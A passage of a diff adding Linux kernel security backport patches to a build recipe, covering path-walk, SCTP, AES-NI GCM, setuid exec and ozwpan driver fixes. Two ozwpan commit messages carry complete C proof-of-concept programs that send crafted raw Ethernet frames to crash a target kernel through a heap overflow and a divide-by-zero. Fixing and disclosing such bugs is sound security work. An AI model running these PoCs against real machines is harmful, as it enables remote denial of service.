insertions(+), 2 deletions(-) + +diff --git a/fs/namei.c b/fs/namei.c +index 036c21246d6ab..157c3dbacf6c5 100644 +--- a/fs/namei.c ++++ b/fs/namei.c +@@ -473,6 +473,24 @@ void path_put(const struct path *path) + } + EXPORT_SYMBOL(path_put); + ++/** ++ * path_connected - Verify that a path->dentry is below path->mnt.mnt_root ++ * @path: nameidate to verify ++ * ++ * Rename can sometimes move a file or directory outside of a bind ++ * mount, path_connected allows those cases to be detected. ++ */ ++static bool path_connected(const struct path *path) ++{ ++ struct vfsmount *mnt = path->mnt; ++ ++ /* Only bind mounts can have disconnected paths */ ++ if (mnt->mnt_root == mnt->mnt_sb->s_root) ++ return true; ++ ++ return is_subdir(path->dentry, mnt->mnt_root); ++} ++ + /* + * Path walking has 2 modes, rcu-walk and ref-walk (see + * Documentation/filesystems/path-lookup.txt). In situations when we can't +@@ -1148,6 +1166,8 @@ static int follow_dotdot_rcu(struct nameidata *nd) + goto failed; + nd->path.dentry = parent; + nd->seq = seq; ++ if (unlikely(!path_connected(&nd->path))) ++ goto failed; + break; + } + if (!follow_up_rcu(&nd->path)) +@@ -1231,7 +1251,7 @@ static void follow_mount(struct path *path) + } + } + +-static void follow_dotdot(struct nameidata *nd) ++static int follow_dotdot(struct nameidata *nd) + { + set_root(nd); + +@@ -1246,6 +1266,10 @@ static void follow_dotdot(struct nameidata *nd) + /* rare case of legitimate dget_parent()... */ + nd->path.dentry = dget_parent(nd->path.dentry); + dput(old); ++ if (unlikely(!path_connected(&nd->path))) { ++ path_put(&nd->path); ++ return -ENOENT; ++ } + break; + } + if (!follow_up(&nd->path)) +@@ -1253,6 +1277,7 @@ static void follow_dotdot(struct nameidata *nd) + } + follow_mount(&nd->path); + nd->inode = nd->path.dentry->d_inode; ++ return 0; + } + + /* +@@ -1476,7 +1501,7 @@ static inline int handle_dots(struct nameidata *nd, int type) + if (follow_dotdot_rcu(nd)) + return -ECHILD; + } else +- follow_dotdot(nd); ++ return follow_dotdot(nd); + } + return 0; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0140-7bf24986e3c2-sctp fix ASCONF list handling.patch b/recipes-kernel/linux/linux-bass/autopatcher/0140-7bf24986e3c2-sctp fix ASCONF list handling.patch new file mode 100644 index 0000000..d15a714 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0140-7bf24986e3c2-sctp fix ASCONF list handling.patch @@ -0,0 +1,193 @@ +From 7bf24986e3c2e4b818be4a6172aebb3784c6bcda Mon Sep 17 00:00:00 2001 +From: Marcelo Ricardo Leitner +Date: Fri, 12 Jun 2015 10:16:41 -0300 +Subject: sctp: fix ASCONF list handling + +commit 2d45a02d0166caf2627fe91897c6ffc3b19514c4 upstream. + +->auto_asconf_splist is per namespace and mangled by functions like +sctp_setsockopt_auto_asconf() which doesn't guarantee any serialization. + +Also, the call to inet_sk_copy_descendant() was backuping +->auto_asconf_list through the copy but was not honoring +->do_auto_asconf, which could lead to list corruption if it was +different between both sockets. + +This commit thus fixes the list handling by using ->addr_wq_lock +spinlock to protect the list. A special handling is done upon socket +creation and destruction for that. Error handlig on sctp_init_sock() +will never return an error after having initialized asconf, so +sctp_destroy_sock() can be called without addrq_wq_lock. The lock now +will be take on sctp_close_sock(), before locking the socket, so we +don't do it in inverse order compared to sctp_addr_wq_timeout_handler(). + +Instead of taking the lock on sctp_sock_migrate() for copying and +restoring the list values, it's preferred to avoid rewritting it by +implementing sctp_copy_descendant(). + +Issue was found with a test application that kept flipping sysctl +default_auto_asconf on and off, but one could trigger it by issuing +simultaneous setsockopt() calls on multiple sockets or by +creating/destroying sockets fast enough. This is only triggerable +locally. + +Fixes: 9f7d653b67ae ("sctp: Add Auto-ASCONF support (core).") +Reported-by: Ji Jianwen +Suggested-by: Neil Horman +Suggested-by: Hannes Frederic Sowa +Acked-by: Hannes Frederic Sowa +Signed-off-by: Marcelo Ricardo Leitner +Signed-off-by: David S. Miller +[wangkai: backport to 3.10: adjust context] +Signed-off-by: Wang Kai +Signed-off-by: Greg Kroah-Hartman +--- + include/net/netns/sctp.h | 1 + + include/net/sctp/structs.h | 4 ++++ + net/sctp/socket.c | 43 ++++++++++++++++++++++++++++++++----------- + 3 files changed, 37 insertions(+), 11 deletions(-) + +diff --git a/include/net/netns/sctp.h b/include/net/netns/sctp.h +index 3573a81815ad9..8ba379f9e4678 100644 +--- a/include/net/netns/sctp.h ++++ b/include/net/netns/sctp.h +@@ -31,6 +31,7 @@ struct netns_sctp { + struct list_head addr_waitq; + struct timer_list addr_wq_timer; + struct list_head auto_asconf_splist; ++ /* Lock that protects both addr_waitq and auto_asconf_splist */ + spinlock_t addr_wq_lock; + + /* Lock that protects the local_addr_list writers */ +diff --git a/include/net/sctp/structs.h b/include/net/sctp/structs.h +index da6b9a01ff75b..b30c1d95be2c2 100644 +--- a/include/net/sctp/structs.h ++++ b/include/net/sctp/structs.h +@@ -228,6 +228,10 @@ struct sctp_sock { + atomic_t pd_mode; + /* Receive to here while partial delivery is in effect. */ + struct sk_buff_head pd_lobby; ++ ++ /* These must be the last fields, as they will skipped on copies, ++ * like on accept and peeloff operations ++ */ + struct list_head auto_asconf_list; + int do_auto_asconf; + }; +diff --git a/net/sctp/socket.c b/net/sctp/socket.c +index dfb9b133e662c..ec5766dc39460 100644 +--- a/net/sctp/socket.c ++++ b/net/sctp/socket.c +@@ -1548,8 +1548,10 @@ SCTP_STATIC void sctp_close(struct sock *sk, long timeout) + + /* Supposedly, no process has access to the socket, but + * the net layers still may. ++ * Also, sctp_destroy_sock() needs to be called with addr_wq_lock ++ * held and that should be grabbed before socket lock. + */ +- sctp_local_bh_disable(); ++ spin_lock_bh(&net->sctp.addr_wq_lock); + sctp_bh_lock_sock(sk); + + /* Hold the sock, since sk_common_release() will put sock_put() +@@ -1559,7 +1561,7 @@ SCTP_STATIC void sctp_close(struct sock *sk, long timeout) + sk_common_release(sk); + + sctp_bh_unlock_sock(sk); +- sctp_local_bh_enable(); ++ spin_unlock_bh(&net->sctp.addr_wq_lock); + + sock_put(sk); + +@@ -3508,6 +3510,7 @@ static int sctp_setsockopt_auto_asconf(struct sock *sk, char __user *optval, + if ((val && sp->do_auto_asconf) || (!val && !sp->do_auto_asconf)) + return 0; + ++ spin_lock_bh(&sock_net(sk)->sctp.addr_wq_lock); + if (val == 0 && sp->do_auto_asconf) { + list_del(&sp->auto_asconf_list); + sp->do_auto_asconf = 0; +@@ -3516,6 +3519,7 @@ static int sctp_setsockopt_auto_asconf(struct sock *sk, char __user *optval, + &sock_net(sk)->sctp.auto_asconf_splist); + sp->do_auto_asconf = 1; + } ++ spin_unlock_bh(&sock_net(sk)->sctp.addr_wq_lock); + return 0; + } + +@@ -4007,18 +4011,28 @@ SCTP_STATIC int sctp_init_sock(struct sock *sk) + local_bh_disable(); + percpu_counter_inc(&sctp_sockets_allocated); + sock_prot_inuse_add(net, sk->sk_prot, 1); ++ ++ /* Nothing can fail after this block, otherwise ++ * sctp_destroy_sock() will be called without addr_wq_lock held ++ */ + if (net->sctp.default_auto_asconf) { ++ spin_lock(&sock_net(sk)->sctp.addr_wq_lock); + list_add_tail(&sp->auto_asconf_list, + &net->sctp.auto_asconf_splist); + sp->do_auto_asconf = 1; +- } else ++ spin_unlock(&sock_net(sk)->sctp.addr_wq_lock); ++ } else { + sp->do_auto_asconf = 0; ++ } ++ + local_bh_enable(); + + return 0; + } + +-/* Cleanup any SCTP per socket resources. */ ++/* Cleanup any SCTP per socket resources. Must be called with ++ * sock_net(sk)->sctp.addr_wq_lock held if sp->do_auto_asconf is true ++ */ + SCTP_STATIC void sctp_destroy_sock(struct sock *sk) + { + struct sctp_sock *sp; +@@ -6957,6 +6971,19 @@ void sctp_copy_sock(struct sock *newsk, struct sock *sk, + newinet->mc_list = NULL; + } + ++static inline void sctp_copy_descendant(struct sock *sk_to, ++ const struct sock *sk_from) ++{ ++ int ancestor_size = sizeof(struct inet_sock) + ++ sizeof(struct sctp_sock) - ++ offsetof(struct sctp_sock, auto_asconf_list); ++ ++ if (sk_from->sk_family == PF_INET6) ++ ancestor_size += sizeof(struct ipv6_pinfo); ++ ++ __inet_sk_copy_descendant(sk_to, sk_from, ancestor_size); ++} ++ + /* Populate the fields of the newsk from the oldsk and migrate the assoc + * and its messages to the newsk. + */ +@@ -6971,7 +6998,6 @@ static void sctp_sock_migrate(struct sock *oldsk, struct sock *newsk, + struct sk_buff *skb, *tmp; + struct sctp_ulpevent *event; + struct sctp_bind_hashbucket *head; +- struct list_head tmplist; + + /* Migrate socket buffer sizes and all the socket level options to the + * new socket. +@@ -6979,12 +7005,7 @@ static void sctp_sock_migrate(struct sock *oldsk, struct sock *newsk, + newsk->sk_sndbuf = oldsk->sk_sndbuf; + newsk->sk_rcvbuf = oldsk->sk_rcvbuf; + /* Brute force copy old sctp opt. */ +- if (oldsp->do_auto_asconf) { +- memcpy(&tmplist, &newsp->auto_asconf_list, sizeof(tmplist)); +- inet_sk_copy_descendant(newsk, oldsk); +- memcpy(&newsp->auto_asconf_list, &tmplist, sizeof(tmplist)); +- } else +- inet_sk_copy_descendant(newsk, oldsk); ++ sctp_copy_descendant(newsk, oldsk); + + /* Restore the ep value that was overwritten with the above structure + * copy. +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0141-31c06b946ce6-crypto aesni fix memory usage in GCM decryption.patch b/recipes-kernel/linux/linux-bass/autopatcher/0141-31c06b946ce6-crypto aesni fix memory usage in GCM decryption.patch new file mode 100644 index 0000000..97fc116 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0141-31c06b946ce6-crypto aesni fix memory usage in GCM decryption.patch @@ -0,0 +1,67 @@ +From 31c06b946ce68c0792288f456f0e57e45c19b322 Mon Sep 17 00:00:00 2001 +From: Stephan Mueller +Date: Thu, 12 Mar 2015 09:17:51 +0100 +Subject: crypto: aesni - fix memory usage in GCM decryption + +commit ccfe8c3f7e52ae83155cb038753f4c75b774ca8a upstream. + +The kernel crypto API logic requires the caller to provide the +length of (ciphertext || authentication tag) as cryptlen for the +AEAD decryption operation. Thus, the cipher implementation must +calculate the size of the plaintext output itself and cannot simply use +cryptlen. + +The RFC4106 GCM decryption operation tries to overwrite cryptlen memory +in req->dst. As the destination buffer for decryption only needs to hold +the plaintext memory but cryptlen references the input buffer holding +(ciphertext || authentication tag), the assumption of the destination +buffer length in RFC4106 GCM operation leads to a too large size. This +patch simply uses the already calculated plaintext size. + +In addition, this patch fixes the offset calculation of the AAD buffer +pointer: as mentioned before, cryptlen already includes the size of the +tag. Thus, the tag does not need to be added. With the addition, the AAD +will be written beyond the already allocated buffer. + +Note, this fixes a kernel crash that can be triggered from user space +via AF_ALG(aead) -- simply use the libkcapi test application +from [1] and update it to use rfc4106-gcm-aes. + +Using [1], the changes were tested using CAVS vectors to demonstrate +that the crypto operation still delivers the right results. + +[1] http://www.chronox.de/libkcapi.html + +CC: Tadeusz Struk +Signed-off-by: Stephan Mueller +Signed-off-by: Herbert Xu +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/crypto/aesni-intel_glue.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/arch/x86/crypto/aesni-intel_glue.c b/arch/x86/crypto/aesni-intel_glue.c +index f89e7490d3039..990c9699b6628 100644 +--- a/arch/x86/crypto/aesni-intel_glue.c ++++ b/arch/x86/crypto/aesni-intel_glue.c +@@ -989,7 +989,7 @@ static int __driver_rfc4106_decrypt(struct aead_request *req) + src = kmalloc(req->cryptlen + req->assoclen, GFP_ATOMIC); + if (!src) + return -ENOMEM; +- assoc = (src + req->cryptlen + auth_tag_len); ++ assoc = (src + req->cryptlen); + scatterwalk_map_and_copy(src, req->src, 0, req->cryptlen, 0); + scatterwalk_map_and_copy(assoc, req->assoc, 0, + req->assoclen, 0); +@@ -1014,7 +1014,7 @@ static int __driver_rfc4106_decrypt(struct aead_request *req) + scatterwalk_done(&src_sg_walk, 0, 0); + scatterwalk_done(&assoc_sg_walk, 0, 0); + } else { +- scatterwalk_map_and_copy(dst, req->dst, 0, req->cryptlen, 1); ++ scatterwalk_map_and_copy(dst, req->dst, 0, tempCipherLen, 1); + kfree(src); + } + return retval; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0142-9eae8ac6ab40-fs take imutex during preparebinprm for setugid executables.patch b/recipes-kernel/linux/linux-bass/autopatcher/0142-9eae8ac6ab40-fs take imutex during preparebinprm for setugid executables.patch new file mode 100644 index 0000000..a1220cf --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0142-9eae8ac6ab40-fs take imutex during preparebinprm for setugid executables.patch @@ -0,0 +1,125 @@ +From 9eae8ac6ab40b896b472c526afe7847e798f4f36 Mon Sep 17 00:00:00 2001 +From: Jann Horn +Date: Sun, 19 Apr 2015 02:48:39 +0200 +Subject: fs: take i_mutex during prepare_binprm for set[ug]id executables + +commit 8b01fc86b9f425899f8a3a8fc1c47d73c2c20543 upstream. + +This prevents a race between chown() and execve(), where chowning a +setuid-user binary to root would momentarily make the binary setuid +root. + +This patch was mostly written by Linus Torvalds. + +Signed-off-by: Jann Horn +Signed-off-by: Linus Torvalds +Signed-off-by: Charles Williams +Signed-off-by: Jiri Slaby +Signed-off-by: Sheng Yong +Signed-off-by: Greg Kroah-Hartman +--- + fs/exec.c | 76 ++++++++++++++++++++++++++++++++++++++++----------------------- + 1 file changed, 48 insertions(+), 28 deletions(-) + +diff --git a/fs/exec.c b/fs/exec.c +index dd6aa61c85486..acbd7ac2deda4 100644 +--- a/fs/exec.c ++++ b/fs/exec.c +@@ -1265,6 +1265,53 @@ static int check_unsafe_exec(struct linux_binprm *bprm) + return res; + } + ++static void bprm_fill_uid(struct linux_binprm *bprm) ++{ ++ struct inode *inode; ++ unsigned int mode; ++ kuid_t uid; ++ kgid_t gid; ++ ++ /* clear any previous set[ug]id data from a previous binary */ ++ bprm->cred->euid = current_euid(); ++ bprm->cred->egid = current_egid(); ++ ++ if (bprm->file->f_path.mnt->mnt_flags & MNT_NOSUID) ++ return; ++ ++ if (current->no_new_privs) ++ return; ++ ++ inode = file_inode(bprm->file); ++ mode = ACCESS_ONCE(inode->i_mode); ++ if (!(mode & (S_ISUID|S_ISGID))) ++ return; ++ ++ /* Be careful if suid/sgid is set */ ++ mutex_lock(&inode->i_mutex); ++ ++ /* reload atomically mode/uid/gid now that lock held */ ++ mode = inode->i_mode; ++ uid = inode->i_uid; ++ gid = inode->i_gid; ++ mutex_unlock(&inode->i_mutex); ++ ++ /* We ignore suid/sgid if there are no mappings for them in the ns */ ++ if (!kuid_has_mapping(bprm->cred->user_ns, uid) || ++ !kgid_has_mapping(bprm->cred->user_ns, gid)) ++ return; ++ ++ if (mode & S_ISUID) { ++ bprm->per_clear |= PER_CLEAR_ON_SETID; ++ bprm->cred->euid = uid; ++ } ++ ++ if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) { ++ bprm->per_clear |= PER_CLEAR_ON_SETID; ++ bprm->cred->egid = gid; ++ } ++} ++ + /* + * Fill the binprm structure from the inode. + * Check permissions, then read the first 128 (BINPRM_BUF_SIZE) bytes +@@ -1273,39 +1320,12 @@ static int check_unsafe_exec(struct linux_binprm *bprm) + */ + int prepare_binprm(struct linux_binprm *bprm) + { +- umode_t mode; +- struct inode * inode = file_inode(bprm->file); + int retval; + +- mode = inode->i_mode; + if (bprm->file->f_op == NULL) + return -EACCES; + +- /* clear any previous set[ug]id data from a previous binary */ +- bprm->cred->euid = current_euid(); +- bprm->cred->egid = current_egid(); +- +- if (!(bprm->file->f_path.mnt->mnt_flags & MNT_NOSUID) && +- !current->no_new_privs && +- kuid_has_mapping(bprm->cred->user_ns, inode->i_uid) && +- kgid_has_mapping(bprm->cred->user_ns, inode->i_gid)) { +- /* Set-uid? */ +- if (mode & S_ISUID) { +- bprm->per_clear |= PER_CLEAR_ON_SETID; +- bprm->cred->euid = inode->i_uid; +- } +- +- /* Set-gid? */ +- /* +- * If setgid is set but no group execute bit then this +- * is a candidate for mandatory locking, not a setgid +- * executable. +- */ +- if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) { +- bprm->per_clear |= PER_CLEAR_ON_SETID; +- bprm->cred->egid = inode->i_gid; +- } +- } ++ bprm_fill_uid(bprm); + + /* fill in binprm security blob */ + retval = security_bprm_set_creds(bprm); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0143-1804b1437410-ozwpan Use proper check to prevent heap overflow.patch b/recipes-kernel/linux/linux-bass/autopatcher/0143-1804b1437410-ozwpan Use proper check to prevent heap overflow.patch new file mode 100644 index 0000000..af6e426 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0143-1804b1437410-ozwpan Use proper check to prevent heap overflow.patch @@ -0,0 +1,217 @@ +From 1804b143741015f6ddbc41cdacc1f1bb53082206 Mon Sep 17 00:00:00 2001 +From: "Jason A. Donenfeld" +Date: Fri, 29 May 2015 13:06:58 +0200 +Subject: ozwpan: Use proper check to prevent heap overflow + +commit d114b9fe78c8d6fc6e70808c2092aa307c36dc8e upstream. + +Since elt->length is a u8, we can make this variable a u8. Then we can +do proper bounds checking more easily. Without this, a potentially +negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, +resulting in a remotely exploitable heap overflow with network +supplied data. + +This could result in remote code execution. A PoC which obtains DoS +follows below. It requires the ozprotocol.h file from this module. + +=-=-=-=-=-= + + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + + #define u8 uint8_t + #define u16 uint16_t + #define u32 uint32_t + #define __packed __attribute__((__packed__)) + #include "ozprotocol.h" + +static int hex2num(char c) +{ + if (c >= '0' && c <= '9') + return c - '0'; + if (c >= 'a' && c <= 'f') + return c - 'a' + 10; + if (c >= 'A' && c <= 'F') + return c - 'A' + 10; + return -1; +} +static int hwaddr_aton(const char *txt, uint8_t *addr) +{ + int i; + for (i = 0; i < 6; i++) { + int a, b; + a = hex2num(*txt++); + if (a < 0) + return -1; + b = hex2num(*txt++); + if (b < 0) + return -1; + *addr++ = (a << 4) | b; + if (i < 5 && *txt++ != ':') + return -1; + } + return 0; +} + +int main(int argc, char *argv[]) +{ + if (argc < 3) { + fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); + return 1; + } + + uint8_t dest_mac[6]; + if (hwaddr_aton(argv[2], dest_mac)) { + fprintf(stderr, "Invalid mac address.\n"); + return 1; + } + + int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); + if (sockfd < 0) { + perror("socket"); + return 1; + } + + struct ifreq if_idx; + int interface_index; + strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); + if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { + perror("SIOCGIFINDEX"); + return 1; + } + interface_index = if_idx.ifr_ifindex; + if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { + perror("SIOCGIFHWADDR"); + return 1; + } + uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; + + struct { + struct ether_header ether_header; + struct oz_hdr oz_hdr; + struct oz_elt oz_elt; + struct oz_elt_connect_req oz_elt_connect_req; + } __packed connect_packet = { + .ether_header = { + .ether_type = htons(OZ_ETHERTYPE), + .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, + .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } + }, + .oz_hdr = { + .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), + .last_pkt_num = 0, + .pkt_num = htole32(0) + }, + .oz_elt = { + .type = OZ_ELT_CONNECT_REQ, + .length = sizeof(struct oz_elt_connect_req) + }, + .oz_elt_connect_req = { + .mode = 0, + .resv1 = {0}, + .pd_info = 0, + .session_id = 0, + .presleep = 35, + .ms_isoc_latency = 0, + .host_vendor = 0, + .keep_alive = 0, + .apps = htole16((1 << OZ_APPID_USB) | 0x1), + .max_len_div16 = 0, + .ms_per_isoc = 0, + .up_audio_buf = 0, + .ms_per_elt = 0 + } + }; + + struct { + struct ether_header ether_header; + struct oz_hdr oz_hdr; + struct oz_elt oz_elt; + struct oz_get_desc_rsp oz_get_desc_rsp; + } __packed pwn_packet = { + .ether_header = { + .ether_type = htons(OZ_ETHERTYPE), + .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, + .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } + }, + .oz_hdr = { + .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), + .last_pkt_num = 0, + .pkt_num = htole32(1) + }, + .oz_elt = { + .type = OZ_ELT_APP_DATA, + .length = sizeof(struct oz_get_desc_rsp) - 2 + }, + .oz_get_desc_rsp = { + .app_id = OZ_APPID_USB, + .elt_seq_num = 0, + .type = OZ_GET_DESC_RSP, + .req_id = 0, + .offset = htole16(0), + .total_size = htole16(0), + .rcode = 0, + .data = {0} + } + }; + + struct sockaddr_ll socket_address = { + .sll_ifindex = interface_index, + .sll_halen = ETH_ALEN, + .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } + }; + + if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { + perror("sendto"); + return 1; + } + usleep(300000); + if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { + perror("sendto"); + return 1; + } + return 0; +} + +Signed-off-by: Jason A. Donenfeld +Acked-by: Dan Carpenter +Signed-off-by: Greg Kroah-Hartman +--- + drivers/staging/ozwpan/ozusbsvc1.c | 13 +++++++++---- + 1 file changed, 9 insertions(+), 4 deletions(-) + +diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c +index 4e4b650fee3f5..9d917c509ec01 100644 +--- a/drivers/staging/ozwpan/ozusbsvc1.c ++++ b/drivers/staging/ozwpan/ozusbsvc1.c +@@ -376,10 +376,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt) + case OZ_GET_DESC_RSP: { + struct oz_get_desc_rsp *body = + (struct oz_get_desc_rsp *)usb_hdr; +- int data_len = elt->length - +- sizeof(struct oz_get_desc_rsp) + 1; +- u16 offs = le16_to_cpu(get_unaligned(&body->offset)); +- u16 total_size = ++ u16 offs, total_size; ++ u8 data_len; ++ ++ if (elt->length < sizeof(struct oz_get_desc_rsp) - 1) ++ break; ++ data_len = elt->length - ++ (sizeof(struct oz_get_desc_rsp) - 1); ++ offs = le16_to_cpu(get_unaligned(&body->offset)); ++ total_size = + le16_to_cpu(get_unaligned(&body->total_size)); + oz_trace("USB_REQ_GET_DESCRIPTOR - cnf\n"); + oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0144-8ca9ab667d0a-ozwpan dividebyzero leading to panic.patch b/recipes-kernel/linux/linux-bass/autopatcher/0144-8ca9ab667d0a-ozwpan dividebyzero leading to panic.patch new file mode 100644 index 0000000..ec26a83 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0144-8ca9ab667d0a-ozwpan dividebyzero leading to panic.patch @@ -0,0 +1,183 @@ +From 8ca9ab667d0a0258c1df4f3d41de988c9648f6f5 Mon Sep 17 00:00:00 2001 +From: "Jason A. Donenfeld" +Date: Fri, 29 May 2015 13:07:00 +0200 +Subject: ozwpan: divide-by-zero leading to panic + +commit 04bf464a5dfd9ade0dda918e44366c2c61fce80b upstream. + +A network supplied parameter was not checked before division, leading to +a divide-by-zero. Since this happens in the softirq path, it leads to a +crash. A PoC follows below, which requires the ozprotocol.h file from +this module. + +=-=-=-=-=-= + + #include + #include + #include + #include + #include + #include + #include + #include + #include + #include + + #define u8 uint8_t + #define u16 uint16_t + #define u32 uint32_t + #define __packed __attribute__((__packed__)) + #include "ozprotocol.h" + +static int hex2num(char c) +{ + if (c >= '0' && c <= '9') + return c - '0'; + if (c >= 'a' && c <= 'f') + return c - 'a' + 10; + if (c >= 'A' && c <= 'F') + return c - 'A' + 10; + return -1; +} +static int hwaddr_aton(const char *txt, uint8_t *addr) +{ + int i; + for (i = 0; i < 6; i++) { + int a, b; + a = hex2num(*txt++); + if (a < 0) + return -1; + b = hex2num(*txt++); + if (b < 0) + return -1; + *addr++ = (a << 4) | b; + if (i < 5 && *txt++ != ':') + return -1; + } + return 0; +} + +int main(int argc, char *argv[]) +{ + if (argc < 3) { + fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); + return 1; + } + + uint8_t dest_mac[6]; + if (hwaddr_aton(argv[2], dest_mac)) { + fprintf(stderr, "Invalid mac address.\n"); + return 1; + } + + int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); + if (sockfd < 0) { + perror("socket"); + return 1; + } + + struct ifreq if_idx; + int interface_index; + strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); + if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { + perror("SIOCGIFINDEX"); + return 1; + } + interface_index = if_idx.ifr_ifindex; + if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { + perror("SIOCGIFHWADDR"); + return 1; + } + uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; + + struct { + struct ether_header ether_header; + struct oz_hdr oz_hdr; + struct oz_elt oz_elt; + struct oz_elt_connect_req oz_elt_connect_req; + struct oz_elt oz_elt2; + struct oz_multiple_fixed oz_multiple_fixed; + } __packed packet = { + .ether_header = { + .ether_type = htons(OZ_ETHERTYPE), + .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, + .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } + }, + .oz_hdr = { + .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), + .last_pkt_num = 0, + .pkt_num = htole32(0) + }, + .oz_elt = { + .type = OZ_ELT_CONNECT_REQ, + .length = sizeof(struct oz_elt_connect_req) + }, + .oz_elt_connect_req = { + .mode = 0, + .resv1 = {0}, + .pd_info = 0, + .session_id = 0, + .presleep = 0, + .ms_isoc_latency = 0, + .host_vendor = 0, + .keep_alive = 0, + .apps = htole16((1 << OZ_APPID_USB) | 0x1), + .max_len_div16 = 0, + .ms_per_isoc = 0, + .up_audio_buf = 0, + .ms_per_elt = 0 + }, + .oz_elt2 = { + .type = OZ_ELT_APP_DATA, + .length = sizeof(struct oz_multiple_fixed) + }, + .oz_multiple_fixed = { + .app_id = OZ_APPID_USB, + .elt_seq_num = 0, + .type = OZ_USB_ENDPOINT_DATA, + .endpoint = 0, + .format = OZ_DATA_F_MULTIPLE_FIXED, + .unit_size = 0, + .data = {0} + } + }; + + struct sockaddr_ll socket_address = { + .sll_ifindex = interface_index, + .sll_halen = ETH_ALEN, + .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } + }; + + if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { + perror("sendto"); + return 1; + } + return 0; +} + +Signed-off-by: Jason A. Donenfeld +Acked-by: Dan Carpenter +Signed-off-by: Greg Kroah-Hartman +--- + drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++- + 1 file changed, 4 insertions(+), 1 deletion(-) + +diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c +index 9d917c509ec01..6547e39d1d5a3 100644 +--- a/drivers/staging/ozwpan/ozusbsvc1.c ++++ b/drivers/staging/ozwpan/ozusbsvc1.c +@@ -314,7 +314,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx, + struct oz_multiple_fixed *body = + (struct oz_multiple_fixed *)data_hdr; + u8 *data = body->data; +- int n = (len - sizeof(struct oz_multiple_fixed)+1) ++ int n; ++ if (!body->unit_size) ++ break; ++ n = (len - sizeof(struct oz_multiple_fixed)+1) + / body->unit_size; + while (n--) { + oz_hcd_data_ind(usb_ctx->hport, body->endpoint, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0145-fa83234f6a4e-vhostscsi potential memory corruption.patch b/recipes-kernel/linux/linux-bass/autopatcher/0145-fa83234f6a4e-vhostscsi potential memory corruption.patch new file mode 100644 index 0000000..4fea155 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0145-fa83234f6a4e-vhostscsi potential memory corruption.patch @@ -0,0 +1,61 @@ +From fa83234f6a4e7b378f0da63938a09b9e8d535c4d Mon Sep 17 00:00:00 2001 +From: Dan Carpenter +Date: Thu, 5 Feb 2015 10:37:33 +0300 +Subject: vhost/scsi: potential memory corruption + +commit 59c816c1f24df0204e01851431d3bab3eb76719c upstream. + +This code in vhost_scsi_make_tpg() is confusing because we limit "tpgt" +to UINT_MAX but the data type of "tpg->tport_tpgt" and that is a u16. + +I looked at the context and it turns out that in +vhost_scsi_set_endpoint(), "tpg->tport_tpgt" is used as an offset into +the vs_tpg[] array which has 